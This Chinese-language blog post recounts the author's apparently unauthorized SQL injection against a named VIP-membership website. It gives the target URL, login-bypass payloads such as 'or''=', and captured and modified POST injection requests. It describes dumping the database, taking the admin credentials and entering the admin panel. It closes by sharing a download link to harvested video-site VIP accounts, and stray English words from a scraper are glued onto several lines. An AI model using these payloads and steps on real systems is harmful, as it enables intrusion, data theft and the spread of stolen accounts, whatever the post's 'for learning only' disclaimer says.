記一次SQL注入實戰

剛發現漏洞時,我就已經成功實現了注入,由於怕發到網上後被玩壞,一直沒有發佈。今天去看了看,原網頁已經沒法訪問了,如今發出來應該就沒有什麼大問題了。php


 

本文僅供學習交流,目的是爲了構建更加安全的網絡環境!

注入地址

某VIP會員專用系統 http://www.tcmpv.com/index.php/Home/Public/login.htmlhtml

相關工具

注入工具:web

超級SQL注入工具【SSQLInjection】http://www.shack2.org/article/1417357815.htmlsql

明小子數據庫

抓包工具:安全

Wireshark網絡

注入過程

1.測試漏洞
 
1)測試 '
首先打開網頁,以下圖:

一看這種很low的系統就有可能存在漏洞app

廢話很少說,輸入單引號" ' "進行測試:工具

輸入單引號學習

測試結果

看到測試結果報數據庫錯誤,這就證實該系統存在SQL注入漏洞。並且這些粗心的程序猿連數據庫表名都直接暴露出來了(tp_login),這不就等於直接寫着:

"我有漏洞,歡迎注入!"

2)測試 'or''='

進一步測試,輸入" 'or''=' ",點肯定,直接就登陸成功了,以下圖

輸入" 'or''=' ",點肯定

登陸成功

不用密碼,直接進去了,看來漏洞真的存在!

 

3)測試 3389' and 1=1 and 'a'='a

接下來測試下能不能使用注入語句,這裏有兩個選擇:

  • 繼續使用or語句
  • 找到真實密碼

or語句前面已經有說明,這裏就以知道密碼的狀況做說明(or語句原理相同)

網頁上直接給出了獲取密碼的方式:

加羣,拿到密碼:3389

構造新的注入語句:" 3389' and 1=1 and 'a'='a ",測試:

再次成功登入,確承認以進行注入攻擊。

接下來就能夠對數據庫進行數據庫名(前面提到,登陸錯誤信息中已經包含了數據庫名"tp_login",真是省事啊)、表名、列名……的猜想了

手動猜想的具體方法能夠參考這裏:

sql注入實例分析http://www.cnblogs.com/leftshine/p/SQLInjection.html

固然手動猜想的量太大了,這麼勞神費力的事固然要交給程序來完成,不過仍是強烈建議看看這篇文章來了解下SQL注入的基本原理,否則後面操做一片茫然。

 

2.構造數據包

由於該系統不能簡單經過網頁URL來傳遞信息,因此咱們須要構造數據包以POST方式發送數據包來注入。

 

1)手動構造:

根據POST數據包結構手動構造一個用於注入的數據包,具體怎麼構造那就要去好好學習網絡協議了……

 

2)抓包構造

這就簡單多了,咱們直接抓取正常發送的數據包,加以改造就能夠用來注入了!

這裏咱們使用Wireshark來抓包,關於Wireshark抓取與分析HTTP包,參考這裏:應用層協議FTP、DNS協議、HTTP協議分析http://www.cnblogs.com/leftshine/p/5698890.html

使用Wireshark抓取到的POST數據包內容以下:

POST /index.php/Home/Public/do_login.html HTTP/1.1

Host: www.tcmpv.com

Connection: keep-alive

Content-Length: 8

Cache-Control: max-age=0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Origin: http://www.tcmpv.com

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Referer: http://www.tcmpv.com/index.php/Home/Public/login.html

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8

Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1

 

key=3389

修改爲注入使用的POST包:

POST /index.php/Home/Public/do_login.html HTTP/1.1

Referer: http://www.tcmpv.com/index.php/Home/Public/login.html

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240

Content-Type: application/x-www-form-urlencoded

Accept-Encoding: gzip, deflate

Content-Length: 8

Host: www.tcmpv.com

Connection: Keep-Alive

Pragma: no-cache

Cookie: PHPSESSID=*****************************; uid=11; num=1; time=2016-07-30+10%3A55%3A47; a7207_pages=22; a7207_times=1

 

key=3389<sEncode>%')#inject##<eEncode>

這個數據包能夠由軟件"超級SQL注入工具"根據上面的包自動生成,具體操做請參考軟件壓縮包中相應的使用說明。

 

3.注入

其實咱們只要將抓取到的數據包粘進程序中,而後點擊"自動識別",軟件就會自動進行相應配置,而後看狀況改改就能夠了(通常狀況下,自動配置就能夠搞定了)。

配置完後,點擊"發送數據"驗證當前配置的數據包是否符合條件,若可以正確返回網頁信息,則配置可用:

正確返回網頁信息

雖然圖中顯示"登陸失敗",但證實能夠正確返回網頁信息,配置可用!

 

4.獲取數據庫信息

點擊獲取數據

獲取數據

而後轉到數據中心,依次"獲取庫"、"獲取表"、"獲取列"、"獲取數據":

數據庫信息盡收眼底

能夠看到,確實有名爲"tp_login"的表和"3389"這個密碼。

接下來就能夠爲所欲爲的獲取數據了。

 

獲取到的數據

獲取到的管理員帳號信息:

管理員帳號信息

有了管理員帳號信息,如何使用呢?上第二個軟件:"明小子",其實它自己就是一個注入工具,不知道是否是年代過久遠了……好多功能不實用。這裏咱們只用到"管理入口掃描"功能,以下圖:

管理入口掃描

獲取到了4個連接,挨個打開看,發現這個能夠用:

http://www.tcmpv.com/index.php/Admin/Public/login.html

管理員登陸

輸入帳號密碼,登陸

登陸成功

登陸成功,看到笑臉真是開心!

成功進入後臺

成功進入管理後臺,發現並無什麼價值的信息,卻是有不少某視頻網站的VIP帳號,也不造這些萬人騎的帳號能不能用……

至此,整個SQL注入成功完成!

福利(注入以後獲取到的帳號):----------------分割線---連接:https://eyun.baidu.com/s/3boCXbXl 密碼:iqiyi

相關閱讀:sql注入實例分析 | JSP使用過濾器防止SQL注入

相關文章
相關標籤/搜索